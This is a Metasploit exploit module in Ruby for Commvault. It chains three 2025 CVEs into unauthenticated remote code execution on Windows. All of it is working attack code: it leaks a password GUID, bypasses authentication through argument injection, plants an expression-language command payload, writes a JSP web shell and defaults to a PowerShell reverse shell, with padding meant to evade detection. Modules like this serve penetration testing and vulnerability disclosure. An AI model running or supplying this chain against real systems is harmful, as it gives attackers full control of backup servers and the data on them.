## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Commvault Command-Line Argument Injection to Traversal Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated remote code execution exploit chain for Commvault, tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated access to the 'localadmin' account, which then facilitates code execution via expression language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is necessary knowledge to exploit the remote code execution chain. This module executes in the context of 'NETWORK SERVICE' on Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sonny Macdonald', # Original discovery 'Piotr Bazydlo', # Original discovery 'remmons-r7' # MSF exploit ], 'References' => [ ['CVE', '2025-57790'], ['CVE', '2025-57791'], ['CVE', '2025-57788'], # Argument injection advisory ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html'], # Path traversal advisory ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html'], # Non-blind expression language payload (from an Ivanti EPMM exploit chain) ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability'] ], 'DisclosureDate' => '2025-08-19', # Runs as the 'NETWORK SERVICE' user on Windows 'Privileged' => false, # Although Linux installations are also affected, I didn't establish a reliable full path leak on the older Linux version I tested 'Platform' => ['windows'], 'Arch' => [ARCH_CMD], 'DefaultTarget' => 0, 'Targets' => [ [ 'Default', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp', 'SSL' => true }, 'Payload' => { # The ampersand character isn't properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead 'BadChars' => '&' } } ] ], 'Notes' => { # Confirmed to work multiple times in a row 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # The log files will contain IOCs, including the written web shell path # If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file) # The localadmin user's description will be updated to include the expression language payload (although this should be reverted) 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The base path to Commvault', '/']) ] ) end def check # Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password res = check_commvault_info return CheckCode::Unknown('Failed to get a response from the target') unless res # If the response body contains "cv-gorkha", we assume it's Commvault if res.code == 200 && res.body.include?('cv-gorkha') vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault') regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/ sharinguser_pass = res.body.scan(regex)[0][0] # If the regex fails to extract the GUID, we return Safe if sharinguser_pass.blank? return CheckCode::Safe('The target returned an unexpected response that did not contain the desired GUID') end vprint_good("Fetched GUID: #{sharinguser_pass}") vprint_status('Attempting to login as PublicSharingUser') res = login_as_publicsharinguser(sharinguser_pass) return CheckCode::Unknown('Failed to get a response from the target') unless res if res.code != 200 CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because a non-200 status was returned') end # Extract the token from the login response regex = /(QSDK [a-zA-Z0-9]+)/ psu_token = res.body.scan(regex)[0][0] if psu_token.blank? CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because no token was returned') else vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}") return CheckCode::Vulnerable('Successfully authenticated as PublicSharingUser') end else return CheckCode::Safe('The target server did not provide a response with the expected password leak') end end def check_commvault_info vprint_status('Attempting to query the publicLink.do endpoint') send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do') ) end def leak_target_info # The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info psu_pass = extract_publicsharinguser_pass vprint_status("Attempting PublicServiceUser login using: #{psu_pass}") res = login_as_publicsharinguser(psu_pass) fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res if res.code != 200 fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable') end # Extract the token from the login response regex = /(QSDK [a-zA-Z0-9]+)/ psu_token = res.body.scan(regex)[0][0] if psu_token.blank? fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable') end vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}") res = get_host_info(psu_token) fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res if res.code != 200 fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status') end regex = /hostName="([^"]+)" / # Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present) hostname = res.body.scan(regex)[0][0].split('.').first regex = /osType="([^"]+)" / target_os = res.body.scan(regex)[0][0] if hostname.blank? || target_os.blank? fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string') end return hostname, target_os end def extract_publicsharinguser_pass # Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user's password res = check_commvault_info fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res # If the response body contains "cv-gorkha", we assume it's Commvault if res.code == 200 && res.body.include?('cv-gorkha') vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault') regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/ sharinguser_pass = res.body.scan(regex)[0][0] # If the regex fails to extract the GUID, we return NoAccess if sharinguser_pass.blank? && hostname.blank? fail_with(Failure::NoAccess, 'The target server is Commvault, but the PublicSharingUser password could not be leaked') end vprint_good("Fetched GUID: #{sharinguser_pass}") return sharinguser_pass else fail_with(Failure::UnexpectedReply, 'The target server did not provide a response with the expected password leak') end end def login_as_publicsharinguser(password) # Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788) # This level of access is used to leak the host name via a low-privilege authenticated API endpoint send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'), 'ctype' => 'application/json', 'data' => { 'username' => '_+_PublicSharingUser_', # Passwords are base64 encoded for login 'password' => Base64.strict_encode64(password) }.to_json ) end def get_host_info(token) # Extract the host name and OS from an authenticated API as PublicServiceUser vprint_status('Attempting to query authenticated API endpoint to get host name and OS') send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'CommServ'), 'headers' => { 'Authtoken' => token } ) end def bypass_authentication(hostname) # Bypass authentication and return a valid token for the internal localadmin user vprint_status("Attempting to mint a localadmin token using hostname: #{hostname}") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'), 'ctype' => 'application/json', 'data' => { # Username must contain the valid system host name 'username' => "#{hostname}_localadmin__", # Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections 'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"), # Must contain the valid system host name, cannot be padded with spaces 'commserver' => "#{hostname} -cs #{hostname}" }.to_json ) end def leak_full_path(token) # Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is # We'll attempt to use an authenticated API to leak this information send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'), 'ctype' => 'application/json', 'headers' => { 'Authtoken' => token, 'Accept' => 'application/json' } ) end def get_user_desc(token, uid) # Grab the pre-existing user description to reinstate after exploitation res = send_request_cgi( 'method' => 'GET', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid), 'headers' => { 'Authtoken' => token, 'Accept' => 'application/json' } ) fail_with(Failure::Unknown, 'No response when getting user description') unless res if res.code != 200 fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when checking the user description') end res.get_json_document['users'][0]['description'] end def update_user_desc(token, uid, desc) # Perform a request to update the user description xml_data = "#{uid}#{desc}" vprint_status("Updating user description: #{xml_data}") send_request_cgi( 'method' => 'POST', 'ctype' => 'application/xml', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid), 'headers' => { 'Authtoken' => token }, 'data' => xml_data ) end def execute_command(hostname, uid, cmd, token, install_path, prev_desc) # This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit # Note that ampersand is a bad character in the injection context payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}" # Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details user_details_op_xml = "\r\n\t" message = Rex::MIME::Message.new # These can be anything. Random hex str to avoid signatures where possible random_str = rand_text_hex(8) message.add_part(random_str, nil, nil, 'form-data; name="username"') message.add_part(random_str, nil, nil, 'form-data; name="password"') message.add_part(random_str, nil, nil, 'form-data; name="ccid"') message.add_part(random_str, nil, nil, 'form-data; name="uploadToken"') # File contents to write message.add_part(user_details_op_xml, nil, nil, "form-data; name=\"file\"; filename=\"#{random_str}.xml\"") vprint_status("Uploading XML file: #{user_details_op_xml}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'), 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'data' => message.to_s ) fail_with(Failure::Unknown, 'No response when uploading XML file') unless res if res.code != 200 vprint_status("Unexpected status code: #{res.code}") fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file') end # The localadmin user's description is set to EL payload res = update_user_desc(token, uid, payload) fail_with(Failure::Unknown, 'No response when setting user description') unless res if res.code != 200 fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description') end # Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up begin # Move XML file to web shell qcommand_op = "qoperation execute -af #{install_path}\\Reports\\MetricsUpload\\Upload\\#{random_str}\\#{random_str}.xml -file #{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp" vprint_status("Moving XML file to web shell: #{qcommand_op}") res = send_request_cgi( 'method' => 'POST', 'ctype' => 'text/plain', 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'), 'headers' => { 'Authtoken' => token }, 'data' => qcommand_op ) fail_with(Failure::Unknown, 'No response when creating web shell') unless res if res.code != 200 || !res.body.include?('Operation Successful.Results written') fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell') end # Register the newly written JSP web shell file for cleanup register_file_for_cleanup("#{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp") # Access the web shell to trigger remote code execution vprint_status("Accessing the web shell file: #{random_str}.jsp") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "#{random_str}.jsp") }, nil) ensure # Reinstate the pre-existing user description res = update_user_desc(token, uid, prev_desc) fail_with(Failure::Unknown, 'No response when resetting user description') unless res if res.code != 200 fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description') end end end def parse_json(json_inp, hostname) # Extract full path disclosure for the target host from the parameter #1 API response JSON container = Array(json_inp['container']) deployments = container.flat_map { |c| Array(c['deployments']) } # Find "{drive}:\\"" + any number of intermediary directories + "\\Commvault\\ContentStore", and only where sibling 'clientName' is the Commvault server regex = /([A-Z]:\$?:[^\\]+\$*Commvault\\ContentStore)\\?/i # This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses) # Can't simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts paths = deployments .select { |d| d.dig('client', 'clientName')&.casecmp?(hostname) } .map { |d| d.dig('inputForm', 'destPath') } .compact .map { |p| p.tr('/', '\\') } .filter_map { |p| p[regex, 1] } if paths.blank? fail_with(Failure::NotFound, 'The target unexpectedly did not return a full path disclosure') end # Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes) paths[0].gsub('\\\\', '\\') end def exploit # Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info leaked = leak_target_info hostname = leaked[0] target_os = leaked[1] if hostname.blank? || target_os.blank? fail_with(Failure::Unknown, 'Unexpectedly unable to query target system details as PublicSharingUser') end vprint_good("Got target host name: #{hostname}") vprint_good("Got target host OS: #{target_os}") # Check to confirm the target is supported if (target_os.casecmp('windows') != 0) fail_with(Failure::BadConfig, 'This module only supports Windows targets') end # Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token res = bypass_authentication(hostname) fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res # If the response is 200 and includes the token prefix, grab that token if res.code == 200 && res.body.include?('"QSDK ') print_good('Successfully bypassed authentication') # Extract token for later use (cookie is also persisted) regex = /(QSDK [a-zA-Z0-9]+)/ admin_token = res.body.scan(regex)[0][0] vprint_status("Admin token: #{admin_token}") # Extract the aliasName field, which contains the dynamic user ID number (typically single digit) regex = /aliasName[=:]"(\d\d?)/ admin_uid = res.body.scan(regex)[0][0] vprint_status("Extracted localadmin user ID number: #{admin_uid}") # If the response doesn't contain the admin token, the exploit has failed else fail_with(Failure::NoAccess, 'The authentication bypass failed - the target may not be vulnerable, or perhaps the host name leak failed') end # Hit the admin-only web API endpoint that leaks one or more full Windows file paths res = leak_full_path(admin_token) fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res if res.code != 200 fail_with(Failure::Unknown, 'The target returned a non-200 status when attempting to leak full path') end # Assign the JSON response body leaked_json = res.get_json_document vprint_status('Got JSON response, searching for installation path disclosures') # Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path install_path = parse_json(leaked_json, hostname) vprint_good("Leaked the installation path: #{install_path}") # Grab the pre-existing user description to reinstate after RCE is established user_desc = get_user_desc(admin_token, admin_uid) vprint_status("Got user description: #{user_desc}") # Plant malicious code in user description, upload XML file for user info, then create the web shell execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc) end end